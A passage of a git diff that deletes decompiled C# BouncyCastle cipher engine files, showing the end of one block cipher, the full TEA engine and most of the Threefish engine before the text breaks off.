(byte)(num3 >> 8); - outBytes[outOff + 5] = (byte)num3; - outBytes[outOff + 6] = (byte)(num4 >> 8); - outBytes[outOff + 7] = (byte)num4; - return 8; - } - - private int H(int k, int w) - { - int num = w & 0xFF; - int num2 = (w >> 8) & 0xFF; - int num3 = ftable[num2 ^ key3[k]] ^ num; - int num4 = ftable[num3 ^ key2[k]] ^ num2; - int num5 = ftable[num4 ^ key1[k]] ^ num3; - int num6 = ftable[num5 ^ key0[k]] ^ num4; - return (num6 << 8) + num5; - } - - public virtual int DecryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - int num = (input[inOff] << 8) + (input[inOff + 1] & 0xFF); - int num2 = (input[inOff + 2] << 8) + (input[inOff + 3] & 0xFF); - int num3 = (input[inOff + 4] << 8) + (input[inOff + 5] & 0xFF); - int num4 = (input[inOff + 6] << 8) + (input[inOff + 7] & 0xFF); - int num5 = 31; - for (int i = 0; i < 2; i++) - { - for (int j = 0; j < 8; j++) - { - int num6 = num3; - num3 = num4; - num4 = num; - num = H(num5, num2); - num2 = num ^ num6 ^ (num5 + 1); - num5--; - } - for (int k = 0; k < 8; k++) - { - int num7 = num3; - num3 = num4; - num4 = num2 ^ num ^ (num5 + 1); - num = H(num5, num2); - num2 = num7; - num5--; - } - } - outBytes[outOff] = (byte)(num >> 8); - outBytes[outOff + 1] = (byte)num; - outBytes[outOff + 2] = (byte)(num2 >> 8); - outBytes[outOff + 3] = (byte)num2; - outBytes[outOff + 4] = (byte)(num3 >> 8); - outBytes[outOff + 5] = (byte)num3; - outBytes[outOff + 6] = (byte)(num4 >> 8); - outBytes[outOff + 7] = (byte)num4; - return 8; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/TeaEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/TeaEngine.cs deleted file mode 100644 index 17f1de0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/TeaEngine.cs +++ /dev/null @@ -1,114 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class TeaEngine : IBlockCipher -{ - private const int rounds = 32; - - private const int block_size = 8; - - private const uint delta = 2654435769u; - - private const uint d_sum = 3337565984u; - - private uint _a; - - private uint _b; - - private uint _c; - - private uint _d; - - private bool _initialised; - - private bool _forEncryption; - - public virtual string AlgorithmName => "TEA"; - - public virtual bool IsPartialBlockOkay => false; - - public TeaEngine() - { - _initialised = false; - } - - public virtual int GetBlockSize() - { - return 8; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to TEA init - " + Platform.GetTypeName(parameters)); - } - _forEncryption = forEncryption; - _initialised = true; - KeyParameter keyParameter = (KeyParameter)parameters; - setKey(keyParameter.GetKey()); - } - - public virtual int ProcessBlock(byte[] inBytes, int inOff, byte[] outBytes, int outOff) - { - if (!_initialised) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - Check.DataLength(inBytes, inOff, 8, "input buffer too short"); - Check.OutputLength(outBytes, outOff, 8, "output buffer too short"); - if (!_forEncryption) - { - return decryptBlock(inBytes, inOff, outBytes, outOff); - } - return encryptBlock(inBytes, inOff, outBytes, outOff); - } - - public virtual void Reset() - { - } - - private void setKey(byte[] key) - { - _a = Pack.BE_To_UInt32(key, 0); - _b = Pack.BE_To_UInt32(key, 4); - _c = Pack.BE_To_UInt32(key, 8); - _d = Pack.BE_To_UInt32(key, 12); - } - - private int encryptBlock(byte[] inBytes, int inOff, byte[] outBytes, int outOff) - { - uint num = Pack.BE_To_UInt32(inBytes, inOff); - uint num2 = Pack.BE_To_UInt32(inBytes, inOff + 4); - uint num3 = 0u; - for (int i = 0; i != 32; i++) - { - num3 += 2654435769u; - num += ((num2 << 4) + _a) ^ (num2 + num3) ^ ((num2 >> 5) + _b); - num2 += ((num << 4) + _c) ^ (num + num3) ^ ((num >> 5) + _d); - } - Pack.UInt32_To_BE(num, outBytes, outOff); - Pack.UInt32_To_BE(num2, outBytes, outOff + 4); - return 8; - } - - private int decryptBlock(byte[] inBytes, int inOff, byte[] outBytes, int outOff) - { - uint num = Pack.BE_To_UInt32(inBytes, inOff); - uint num2 = Pack.BE_To_UInt32(inBytes, inOff + 4); - uint num3 = 3337565984u; - for (int i = 0; i != 32; i++) - { - num2 -= ((num << 4) + _c) ^ (num + num3) ^ ((num >> 5) + _d); - num -= ((num2 << 4) + _a) ^ (num2 + num3) ^ ((num2 >> 5) + _b); - num3 -= 2654435769u; - } - Pack.UInt32_To_BE(num, outBytes, outOff); - Pack.UInt32_To_BE(num2, outBytes, outOff + 4); - return 8; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ThreefishEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ThreefishEngine.cs deleted file mode 100644 index 5a1b05a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ThreefishEngine.cs +++ /dev/null @@ -1,1290 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class ThreefishEngine : IBlockCipher -{ - private abstract class ThreefishCipher - { - protected readonly ulong[] t; - - protected readonly ulong[] kw; - - protected ThreefishCipher(ulong[] kw, ulong[] t) - { - this.kw = kw; - this.t = t; - } - - internal abstract void EncryptBlock(ulong[] block, ulong[] outWords); - - internal abstract void DecryptBlock(ulong[] block, ulong[] outWords); - } - - private sealed class Threefish256Cipher : ThreefishCipher - { - private const int ROTATION_0_0 = 14; - - private const int ROTATION_0_1 = 16; - - private const int ROTATION_1_0 = 52; - - private const int ROTATION_1_1 = 57; - - private const int ROTATION_2_0 = 23; - - private const int ROTATION_2_1 = 40; - - private const int ROTATION_3_0 = 5; - - private const int ROTATION_3_1 = 37; - - private const int ROTATION_4_0 = 25; - - private const int ROTATION_4_1 = 33; - - private const int ROTATION_5_0 = 46; - - private const int ROTATION_5_1 = 12; - - private const int ROTATION_6_0 = 58; - - private const int ROTATION_6_1 = 22; - - private const int ROTATION_7_0 = 32; - - private const int ROTATION_7_1 = 32; - - public Threefish256Cipher(ulong[] kw, ulong[] t) - : base(kw, t) - { - } - - internal override void EncryptBlock(ulong[] block, ulong[] outWords) - { - ulong[] array = kw; - ulong[] array2 = t; - int[] mOD = MOD5; - int[] mOD2 = MOD3; - if (array.Length != 9) - { - throw new ArgumentException(); - } - if (array2.Length != 5) - { - throw new ArgumentException(); - } - ulong num = block[0]; - ulong num2 = block[1]; - ulong num3 = block[2]; - ulong num4 = block[3]; - num += array[0]; - num2 += array[1] + array2[0]; - num3 += array[2] + array2[1]; - num4 += array[3]; - for (int i = 1; i < 18; i += 2) - { - int num5 = mOD[i]; - int num6 = mOD2[i]; - num2 = RotlXor(num2, 14, num += num2); - num4 = RotlXor(num4, 16, num3 += num4); - num4 = RotlXor(num4, 52, num += num4); - num2 = RotlXor(num2, 57, num3 += num2); - num2 = RotlXor(num2, 23, num += num2); - num4 = RotlXor(num4, 40, num3 += num4); - num4 = RotlXor(num4, 5, num += num4); - num2 = RotlXor(num2, 37, num3 += num2); - num += array[num5]; - num2 += array[num5 + 1] + array2[num6]; - num3 += array[num5 + 2] + array2[num6 + 1]; - num4 += array[num5 + 3] + (uint)i; - num2 = RotlXor(num2, 25, num += num2); - num4 = RotlXor(num4, 33, num3 += num4); - num4 = RotlXor(num4, 46, num += num4); - num2 = RotlXor(num2, 12, num3 += num2); - num2 = RotlXor(num2, 58, num += num2); - num4 = RotlXor(num4, 22, num3 += num4); - num4 = RotlXor(num4, 32, num += num4); - num2 = RotlXor(num2, 32, num3 += num2); - num += array[num5 + 1]; - num2 += array[num5 + 2] + array2[num6 + 1]; - num3 += array[num5 + 3] + array2[num6 + 2]; - num4 += array[num5 + 4] + (uint)i + 1; - } - outWords[0] = num; - outWords[1] = num2; - outWords[2] = num3; - outWords[3] = num4; - } - - internal override void DecryptBlock(ulong[] block, ulong[] state) - { - ulong[] array = kw; - ulong[] array2 = t; - int[] mOD = MOD5; - int[] mOD2 = MOD3; - if (array.Length != 9) - { - throw new ArgumentException(); - } - if (array2.Length != 5) - { - throw new ArgumentException(); - } - ulong num = block[0]; - ulong num2 = block[1]; - ulong num3 = block[2]; - ulong num4 = block[3]; - for (int num5 = 17; num5 >= 1; num5 -= 2) - { - int num6 = mOD[num5]; - int num7 = mOD2[num5]; - num -= array[num6 + 1]; - num2 -= array[num6 + 2] + array2[num7 + 1]; - num3 -= array[num6 + 3] + array2[num7 + 2]; - num4 -= array[num6 + 4] + (uint)num5 + 1; - num4 = XorRotr(num4, 32, num); - num -= num4; - num2 = XorRotr(num2, 32, num3); - num3 -= num2; - num2 = XorRotr(num2, 58, num); - num -= num2; - num4 = XorRotr(num4, 22, num3); - num3 -= num4; - num4 = XorRotr(num4, 46, num); - num -= num4; - num2 = XorRotr(num2, 12, num3); - num3 -= num2; - num2 = XorRotr(num2, 25, num); - num -= num2; - num4 = XorRotr(num4, 33, num3); - num3 -= num4; - num -= array[num6]; - num2 -= array[num6 + 1] + array2[num7]; - num3 -= array[num6 + 2] + array2[num7 + 1]; - num4 -= array[num6 + 3] + (uint)num5; - num4 = XorRotr(num4, 5, num); - num -= num4; - num2 = XorRotr(num2, 37, num3); - num3 -= num2; - num2 = XorRotr(num2, 23, num); - num -= num2; - num4 = XorRotr(num4, 40, num3); - num3 -= num4; - num4 = XorRotr(num4, 52, num); - num -= num4; - num2 = XorRotr(num2, 57, num3); - num3 -= num2; - num2 = XorRotr(num2, 14, num); - num -= num2; - num4 = XorRotr(num4, 16, num3); - num3 -= num4; - } - num -= array[0]; - num2 -= array[1] + array2[0]; - num3 -= array[2] + array2[1]; - num4 -= array[3]; - state[0] = num; - state[1] = num2; - state[2] = num3; - state[3] = num4; - } - } - - private sealed class Threefish512Cipher : ThreefishCipher - { - private const int ROTATION_0_0 = 46; - - private const int ROTATION_0_1 = 36; - - private const int ROTATION_0_2 = 19; - - private const int ROTATION_0_3 = 37; - - private const int ROTATION_1_0 = 33; - - private const int ROTATION_1_1 = 27; - - private const int ROTATION_1_2 = 14; - - private const int ROTATION_1_3 = 42; - - private const int ROTATION_2_0 = 17; - - private const int ROTATION_2_1 = 49; - - private const int ROTATION_2_2 = 36; - - private const int ROTATION_2_3 = 39; - - private const int ROTATION_3_0 = 44; - - private const int ROTATION_3_1 = 9; - - private const int ROTATION_3_2 = 54; - - private const int ROTATION_3_3 = 56; - - private const int ROTATION_4_0 = 39; - - private const int ROTATION_4_1 = 30; - - private const int ROTATION_4_2 = 34; - - private const int ROTATION_4_3 = 24; - - private const int ROTATION_5_0 = 13; - - private const int ROTATION_5_1 = 50; - - private const int ROTATION_5_2 = 10; - - private const int ROTATION_5_3 = 17; - - private const int ROTATION_6_0 = 25; - - private const int ROTATION_6_1 = 29; - - private const int ROTATION_6_2 = 39; - - private const int ROTATION_6_3 = 43; - - private const int ROTATION_7_0 = 8; - - private const int ROTATION_7_1 = 35; - - private const int ROTATION_7_2 = 56; - - private const int ROTATION_7_3 = 22; - - internal Threefish512Cipher(ulong[] kw, ulong[] t) - : base(kw, t) - { - } - - internal override void EncryptBlock(ulong[] block, ulong[] outWords) - { - ulong[] array = kw; - ulong[] array2 = t; - int[] mOD = MOD9; - int[] mOD2 = MOD3; - if (array.Length != 17) - { - throw new ArgumentException(); - } - if (array2.Length != 5) - { - throw new ArgumentException(); - } - ulong num = block[0]; - ulong num2 = block[1]; - ulong num3 = block[2]; - ulong num4 = block[3]; - ulong num5 = block[4]; - ulong num6 = block[5]; - ulong num7 = block[6]; - ulong num8 = block[7]; - num += array[0]; - num2 += array[1]; - num3 += array[2]; - num4 += array[3]; - num5 += array[4]; - num6 += array[5] + array2[0]; - num7 += array[6] + array2[1]; - num8 += array[7]; - for (int i = 1; i < 18; i += 2) - { - int num9 = mOD[i]; - int num10 = mOD2[i]; - num2 = RotlXor(num2, 46, num += num2); - num4 = RotlXor(num4, 36, num3 += num4); - num6 = RotlXor(num6, 19, num5 += num6); - num8 = RotlXor(num8, 37, num7 += num8); - num2 = RotlXor(num2, 33, num3 += num2); - num8 = RotlXor(num8, 27, num5 += num8); - num6 = RotlXor(num6, 14, num7 += num6); - num4 = RotlXor(num4, 42, num += num4); - num2 = RotlXor(num2, 17, num5 += num2); - num4 = RotlXor(num4, 49, num7 += num4); - num6 = RotlXor(num6, 36, num += num6); - num8 = RotlXor(num8, 39, num3 += num8); - num2 = RotlXor(num2, 44, num7 += num2); - num8 = RotlXor(num8, 9, num += num8); - num6 = RotlXor(num6, 54, num3 += num6); - num4 = RotlXor(num4, 56, num5 += num4); - num += array[num9]; - num2 += array[num9 + 1]; - num3 += array[num9 + 2]; - num4 += array[num9 + 3]; - num5 += array[num9 + 4]; - num6 += array[num9 + 5] + array2[num10]; - num7 += array[num9 + 6] + array2[num10 + 1]; - num8 += array[num9 + 7] + (uint)i; - num2 = RotlXor(num2, 39, num += num2); - num4 = RotlXor(num4, 30, num3 += num4); - num6 = RotlXor(num6, 34, num5 += num6); - num8 = RotlXor(num8, 24, num7 += num8); - num2 = RotlXor(num2, 13, num3 += num2); - num8 = RotlXor(num8, 50, num5 += num8); - num6 = RotlXor(num6, 10, num7 += num6); - num4 = RotlXor(num4, 17, num += num4); - num2 = RotlXor(num2, 25, num5 += num2); - num4 = RotlXor(num4, 29, num7 += num4); - num6 = RotlXor(num6, 39, num += num6); - num8 = RotlXor(num8, 43, num3 += num8); - num2 = RotlXor(num2, 8, num7 += num2); - num8 = RotlXor(num8, 35, num += num8); - num6 = RotlXor(num6, 56, num3 += num6); - num4 = RotlXor(num4, 22, num5 += num4); - num += array[num9 + 1]; - num2 += array[num9 + 2]; - num3 += array[num9 + 3]; - num4 += array[num9 + 4]; - num5 += array[num9 + 5]; - num6 += array[num9 + 6] + array2[num10 + 1]; - num7 += array[num9 + 7] + array2[num10 + 2]; - num8 += array[num9 + 8] + (uint)i + 1; - } - outWords[0] = num; - outWords[1] = num2; - outWords[2] = num3; - outWords[3] = num4; - outWords[4] = num5; - outWords[5] = num6; - outWords[6] = num7; - outWords[7] = num8; - } - - internal override void DecryptBlock(ulong[] block, ulong[] state) - { - ulong[] array = kw; - ulong[] array2 = t; - int[] mOD = MOD9; - int[] mOD2 = MOD3; - if (array.Length != 17) - { - throw new ArgumentException(); - } - if (array2.Length != 5) - { - throw new ArgumentException(); - } - ulong num = block[0]; - ulong num2 = block[1]; - ulong num3 = block[2]; - ulong num4 = block[3]; - ulong num5 = block[4]; - ulong num6 = block[5]; - ulong num7 = block[6]; - ulong num8 = block[7]; - for (int num9 = 17; num9 >= 1; num9 -= 2) - { - int num10 = mOD[num9]; - int num11 = mOD2[num9]; - num -= array[num10 + 1]; - num2 -= array[num10 + 2]; - num3 -= array[num10 + 3]; - num4 -= array[num10 + 4]; - num5 -= array[num10 + 5]; - num6 -= array[num10 + 6] + array2[num11 + 1]; - num7 -= array[num10 + 7] + array2[num11 + 2]; - num8 -= array[num10 + 8] + (uint)num9 + 1; - num2 = XorRotr(num2, 8, num7); - num7 -= num2; - num8 = XorRotr(num8, 35, num); - num -= num8; - num6 = XorRotr(num6, 56, num3); - num3 -= num6; - num4 = XorRotr(num4, 22, num5); - num5 -= num4; - num2 = XorRotr(num2, 25, num5); - num5 -= num2; - num4 = XorRotr(num4, 29, num7); - num7 -= num4; - num6 = XorRotr(num6, 39, num); - num -= num6; - num8 = XorRotr(num8, 43, num3); - num3 -= num8; - num2 = XorRotr(num2, 13, num3); - num3 -= num2; - num8 = XorRotr(num8, 50, num5); - num5 -= num8; - num6 = XorRotr(num6, 10, num7); - num7 -= num6; - num4 = XorRotr(num4, 17, num); - num -= num4; - num2 = XorRotr(num2, 39, num); - num -= num2; - num4 = XorRotr(num4, 30, num3); - num3 -= num4; - num6 = XorRotr(num6, 34, num5); - num5 -= num6; - num8 = XorRotr(num8, 24, num7); - num7 -= num8; - num -= array[num10]; - num2 -= array[num10 + 1]; - num3 -= array[num10 + 2]; - num4 -= array[num10 + 3]; - num5 -= array[num10 + 4]; - num6 -= array[num10 + 5] + array2[num11]; - num7 -= array[num10 + 6] + array2[num11 + 1]; - num8 -= array[num10 + 7] + (uint)num9; - num2 = XorRotr(num2, 44, num7); - num7 -= num2; - num8 = XorRotr(num8, 9, num); - num -= num8; - num6 = XorRotr(num6, 54, num3); - num3 -= num6; - num4 = XorRotr(num4, 56, num5); - num5 -= num4; - num2 = XorRotr(num2, 17, num5); - num5 -= num2; - num4 = XorRotr(num4, 49, num7); - num7 -= num4; - num6 = XorRotr(num6, 36, num); - num -= num6; - num8 = XorRotr(num8, 39, num3); - num3 -= num8; - num2 = XorRotr(num2, 33, num3); - num3 -= num2; - num8 = XorRotr(num8, 27, num5); - num5 -= num8; - num6 = XorRotr(num6, 14, num7); - num7 -= num6; - num4 = XorRotr(num4, 42, num); - num -= num4; - num2 = XorRotr(num2, 46, num); - num -= num2; - num4 = XorRotr(num4, 36, num3); - num3 -= num4; - num6 = XorRotr(num6, 19, num5); - num5 -= num6; - num8 = XorRotr(num8, 37, num7); - num7 -= num8; - } - num -= array[0]; - num2 -= array[1]; - num3 -= array[2]; - num4 -= array[3]; - num5 -= array[4]; - num6 -= array[5] + array2[0]; - num7 -= array[6] + array2[1]; - num8 -= array[7]; - state[0] = num; - state[1] = num2; - state[2] = num3; - state[3] = num4; - state[4] = num5; - state[5] = num6; - state[6] = num7; - state[7] = num8; - } - } - - private sealed class Threefish1024Cipher : ThreefishCipher - { - private const int ROTATION_0_0 = 24; - - private const int ROTATION_0_1 = 13; - - private const int ROTATION_0_2 = 8; - - private const int ROTATION_0_3 = 47; - - private const int ROTATION_0_4 = 8; - - private const int ROTATION_0_5 = 17; - - private const int ROTATION_0_6 = 22; - - private const int ROTATION_0_7 = 37; - - private const int ROTATION_1_0 = 38; - - private const int ROTATION_1_1 = 19; - - private const int ROTATION_1_2 = 10; - - private const int ROTATION_1_3 = 55; - - private const int ROTATION_1_4 = 49; - - private const int ROTATION_1_5 = 18; - - private const int ROTATION_1_6 = 23; - - private const int ROTATION_1_7 = 52; - - private const int ROTATION_2_0 = 33; - - private const int ROTATION_2_1 = 4; - - private const int ROTATION_2_2 = 51; - - private const int ROTATION_2_3 = 13; - - private const int ROTATION_2_4 = 34; - - private const int ROTATION_2_5 = 41; - - private const int ROTATION_2_6 = 59; - - private const int ROTATION_2_7 = 17; - - private const int ROTATION_3_0 = 5; - - private const int ROTATION_3_1 = 20; - - private const int ROTATION_3_2 = 48; - - private const int ROTATION_3_3 = 41; - - private const int ROTATION_3_4 = 47; - - private const int ROTATION_3_5 = 28; - - private const int ROTATION_3_6 = 16; - - private const int ROTATION_3_7 = 25; - - private const int ROTATION_4_0 = 41; - - private const int ROTATION_4_1 = 9; - - private const int ROTATION_4_2 = 37; - - private const int ROTATION_4_3 = 31; - - private const int ROTATION_4_4 = 12; - - private const int ROTATION_4_5 = 47; - - private const int ROTATION_4_6 = 44; - - private const int ROTATION_4_7 = 30; - - private const int ROTATION_5_0 = 16; - - private const int ROTATION_5_1 = 34; - - private const int ROTATION_5_2 = 56; - - private const int ROTATION_5_3 = 51; - - private const int ROTATION_5_4 = 4; - - private const int ROTATION_5_5 = 53; - - private const int ROTATION_5_6 = 42; - - private const int ROTATION_5_7 = 41; - - private const int ROTATION_6_0 = 31; - - private const int ROTATION_6_1 = 44; - - private const int ROTATION_6_2 = 47; - - private const int ROTATION_6_3 = 46; - - private const int ROTATION_6_4 = 19; - - private const int ROTATION_6_5 = 42; - - private const int ROTATION_6_6 = 44; - - private const int ROTATION_6_7 = 25; - - private const int ROTATION_7_0 = 9; - - private const int ROTATION_7_1 = 48; - - private const int ROTATION_7_2 = 35; - - private const int ROTATION_7_3 = 52; - - private const int ROTATION_7_4 = 23; - - private const int ROTATION_7_5 = 31; - - private const int ROTATION_7_6 = 37; - - private const int ROTATION_7_7 = 20; - - public Threefish1024Cipher(ulong[] kw, ulong[] t) - : base(kw, t) - { - } - - internal override void EncryptBlock(ulong[] block, ulong[] outWords) - { - ulong[] array = kw; - ulong[] array2 = t; - int[] mOD = MOD17; - int[] mOD2 = MOD3; - if (array.Length != 33) - { - throw new ArgumentException(); - } - if (array2.Length != 5) - { - throw new ArgumentException(); - } - ulong num = block[0]; - ulong num2 = block[1]; - ulong num3 = block[2]; - ulong num4 = block[3]; - ulong num5 = block[4]; - ulong num6 = block[5]; - ulong num7 = block[6]; - ulong num8 = block[7]; - ulong num9 = block[8]; - ulong num10 = block[9]; - ulong num11 = block[10]; - ulong num12 = block[11]; - ulong num13 = block[12]; - ulong num14 = block[13]; - ulong num15 = block[14]; - ulong num16 = block[15]; - num += array[0]; - num2 += array[1]; - num3 += array[2]; - num4 += array[3]; - num5 += array[4]; - num6 += array[5]; - num7 += array[6]; - num8 += array[7]; - num9 += array[8]; - num10 += array[9]; - num11 += array[10]; - num12 += array[11]; - num13 += array[12]; - num14 += array[13] + array2[0]; - num15 += array[14] + array2[1]; - num16 += array[15]; - for (int i = 1; i < 20; i += 2) - { - int num17 = mOD[i]; - int num18 = mOD2[i]; - num2 = RotlXor(num2, 24, num += num2); - num4 = RotlXor(num4, 13, num3 += num4); - num6 = RotlXor(num6, 8, num5 += num6); - num8 = RotlXor(num8, 47, num7 += num8); - num10 = RotlXor(num10, 8, num9 += num10); - num12 = RotlXor(num12, 17, num11 += num12); - num14 = RotlXor(num14, 22, num13 += num14); - num16 = RotlXor(num16, 37, num15 += num16); - num10 = RotlXor(num10, 38, num += num10); - num14 = RotlXor(num14, 19, num3 += num14); - num12 = RotlXor(num12, 10, num7 += num12); - num16 = RotlXor(num16, 55, num5 += num16); - num8 = RotlXor(num8, 49, num11 += num8); - num4 = RotlXor(num4, 18, num13 += num4); - num6 = RotlXor(num6, 23, num15 += num6); - num2 = RotlXor(num2, 52, num9 += num2); - num8 = RotlXor(num8, 33, num += num8); - num6 = RotlXor(num6, 4, num3 += num6); - num4 = RotlXor(num4, 51, num5 += num4); - num2 = RotlXor(num2, 13, num7 += num2); - num16 = RotlXor(num16, 34, num13 += num16); - num14 = RotlXor(num14, 41, num15 += num14); - num12 = RotlXor(num12, 59, num9 += num12); - num10 = RotlXor(num10, 17, num11 += num10); - num16 = RotlXor(num16, 5, num += num16); - num12 = RotlXor(num12, 20, num3 += num12); - num14 = RotlXor(num14, 48, num7 += num14); - num10 = RotlXor(num10, 41, num5 += num10); - num2 = RotlXor(num2, 47, num15 += num2); - num6 = RotlXor(num6, 28, num9 += num6); - num4 = RotlXor(num4, 16, num11 += num4); - num8 = RotlXor(num8, 25, num13 += num8); - num += array[num17]; - num2 += array[num17 + 1]; - num3 += array[num17 + 2]; - num4 += array[num17 + 3]; - num5 += array[num17 + 4]; - num6 += array[num17 + 5]; - num7 += array[num17 + 6]; - num8 += array[num17 + 7]; - num9 += array[num17 + 8]; - num10 += array[num17 + 9]; - num11 += array[num17 + 10]; - num12 += array[num17 + 11]; - num13 += array[num17 + 12]; - num14 += array[num17 + 13] + array2[num18]; - num15 += array[num17 + 14] + array2[num18 + 1]; - num16 += array[num17 + 15] + (uint)i; - num2 = RotlXor(num2, 41, num += num2); - num4 = RotlXor(num4, 9, num3 += num4); - num6 = RotlXor(num6, 37, num5 += num6); - num8 = RotlXor(num8, 31, num7 += num8); - num10 = RotlXor(num10, 12, num9 += num10); - num12 = RotlXor(num12, 47, num11 += num12); - num14 = RotlXor(num14, 44, num13 += num14); - num16 = RotlXor(num16, 30, num15 += num16); - num10 = RotlXor(num10, 16, num += num10); - num14 = RotlXor(num14, 34, num3 += num14); - num12 = RotlXor(num12, 56, num7 += num12); - num16 = RotlXor(num16, 51, num5 += num16); - num8 = RotlXor(num8, 4, num11 += num8); - num4 = RotlXor(num4, 53, num13 += num4); - num6 = RotlXor(num6, 42, num15 += num6); - num2 = RotlXor(num2, 41, num9 += num2); - num8 = RotlXor(num8, 31, num += num8); - num6 = RotlXor(num6, 44, num3 += num6); - num4 = RotlXor(num4, 47, num5 += num4); - num2 = RotlXor(num2, 46, num7 += num2); - num16 = RotlXor(num16, 19, num13 += num16); - num14 = RotlXor(num14, 42, num15 += num14); - num12 = RotlXor(num12, 44, num9 += num12); - num10 = RotlXor(num10, 25, num11 += num10); - num16 = RotlXor(num16, 9, num += num16); - num12 = RotlXor(num12, 48, num3 += num12); - num14 = RotlXor(num14, 35, num7 += num14); - num10 = RotlXor(num10, 52, num5 += num10); - num2 = RotlXor(num2, 23, num15 += num2); - num6 = RotlXor(num6, 31, num9 += num6); - num4 = RotlXor(num4, 37, num11 += num4); - num8 = RotlXor(num8, 20, num13 += num8); - num += array[num17 + 1]; - num2 += array[num17 + 2]; - num3 += array[num17 + 3]; - num4 += array[num17 + 4]; - num5 += array[num17 + 5]; - num6 += array[num17 + 6]; - num7 += array[num17 + 7]; - num8 += array[num17 + 8]; - num9 += array[num17 + 9]; - num10 += array[num17 + 10]; - num11 += array[num17 + 11]; - num12 += array[num17 + 12]; - num13 += array[num17 + 13]; - num14 += array[num17 + 14] + array2[num18 + 1]; - num15 += array[num17 + 15] + array2[num18 + 2]; - num16 += array[num17 + 16] + (uint)i + 1; - } - outWords[0] = num; - outWords[1] = num2; - outWords[2] = num3; - outWords[3] = num4; - outWords[4] = num5; - outWords[5] = num6; - outWords[6] = num7; - outWords[7] = num8; - outWords[8] = num9; - outWords[9] = num10; - outWords[10] = num11; - outWords[11] = num12; - outWords[12] = num13; - outWords[13] = num14; - outWords[14] = num15; - outWords[15] = num16; - } - - internal override void DecryptBlock(ulong[] block, ulong[] state) - { - ulong[] array = kw; - ulong[] array2 = t; - int[] mOD = MOD17; - int[] mOD2 = MOD3; - if (array.Length != 33) - { - throw new ArgumentException(); - } - if (array2.Length != 5) - { - throw new ArgumentException(); - } - ulong num = block[0]; - ulong num2 = block[1]; - ulong num3 = block[2]; - ulong num4 = block[3]; - ulong num5 = block[4]; - ulong num6 = block[5]; - ulong num7 = block[6]; - ulong num8 = block[7]; - ulong num9 = block[8]; - ulong num10 = block[9]; - ulong num11 = block[10]; - ulong num12 = block[11]; - ulong num13 = block[12]; - ulong num14 = block[13]; - ulong num15 = block[14]; - ulong num16 = block[15]; - for (int num17 = 19; num17 >= 1; num17 -= 2) - { - int num18 = mOD[num17]; - int num19 = mOD2[num17]; - num -= array[num18 + 1]; - num2 -= array[num18 + 2]; - num3 -= array[num18 + 3]; - num4 -= array[num18 + 4]; - num5 -= array[num18 + 5]; - num6 -= array[num18 + 6]; - num7 -= array[num18 + 7]; - num8 -= array[num18 + 8]; - num9 -= array[num18 + 9]; - num10 -= array[num18 + 10]; - num11 -= array[num18 + 11]; - num12 -= array[num18 + 12]; - num13 -= array[num18 + 13]; - num14 -= array[num18 + 14] + array2[num19 + 1]; - num15 -= array[num18 + 15] + array2[num19 + 2]; - num16 -= array[num18 + 16] + (uint)num17 + 1; - num16 = XorRotr(num16, 9, num); - num -= num16; - num12 = XorRotr(num12, 48, num3); - num3 -= num12; - num14 = XorRotr(num14, 35, num7); - num7 -= num14; - num10 = XorRotr(num10, 52, num5); - num5 -= num10; - num2 = XorRotr(num2, 23, num15); - num15 -= num2; - num6 = XorRotr(num6, 31, num9); - num9 -= num6; - num4 = XorRotr(num4, 37, num11); - num11 -= num4; - num8 = XorRotr(num8, 20, num13); - num13 -= num8; - num8 = XorRotr(num8, 31, num); - num -= num8; - num6 = XorRotr(num6, 44, num3); - num3 -= num6; - num4 = XorRotr(num4, 47, num5); - num5 -= num4; - num2 = XorRotr(num2, 46, num7); - num7 -= num2; - num16 = XorRotr(num16, 19, num13); - num13 -= num16; - num14 = XorRotr(num14, 42, num15); - num15 -= num14; - num12 = XorRotr(num12, 44, num9); - num9 -= num12; - num10 = XorRotr(num10, 25, num11); - num11 -= num10; - num10 = XorRotr(num10, 16, num); - num -= num10; - num14 = XorRotr(num14, 34, num3); - num3 -= num14; - num12 = XorRotr(num12, 56, num7); - num7 -= num12; - num16 = XorRotr(num16, 51, num5); - num5 -= num16; - num8 = XorRotr(num8, 4, num11); - num11 -= num8; - num4 = XorRotr(num4, 53, num13); - num13 -= num4; - num6 = XorRotr(num6, 42, num15); - num15 -= num6; - num2 = XorRotr(num2, 41, num9); - num9 -= num2; - num2 = XorRotr(num2, 41, num); - num -= num2; - num4 = XorRotr(num4, 9, num3); - num3 -= num4; - num6 = XorRotr(num6, 37, num5); - num5 -= num6; - num8 = XorRotr(num8, 31, num7); - num7 -= num8; - num10 = XorRotr(num10, 12, num9); - num9 -= num10; - num12 = XorRotr(num12, 47, num11); - num11 -= num12; - num14 = XorRotr(num14, 44, num13); - num13 -= num14; - num16 = XorRotr(num16, 30, num15); - num15 -= num16; - num -= array[num18]; - num2 -= array[num18 + 1]; - num3 -= array[num18 + 2]; - num4 -= array[num18 + 3]; - num5 -= array[num18 + 4]; - num6 -= array[num18 + 5]; - num7 -= array[num18 + 6]; - num8 -= array[num18 + 7]; - num9 -= array[num18 + 8]; - num10 -= array[num18 + 9]; - num11 -= array[num18 + 10]; - num12 -= array[num18 + 11]; - num13 -= array[num18 + 12]; - num14 -= array[num18 + 13] + array2[num19]; - num15 -= array[num18 + 14] + array2[num19 + 1]; - num16 -= array[num18 + 15] + (uint)num17; - num16 = XorRotr(num16, 5, num); - num -= num16; - num12 = XorRotr(num12, 20, num3); - num3 -= num12; - num14 = 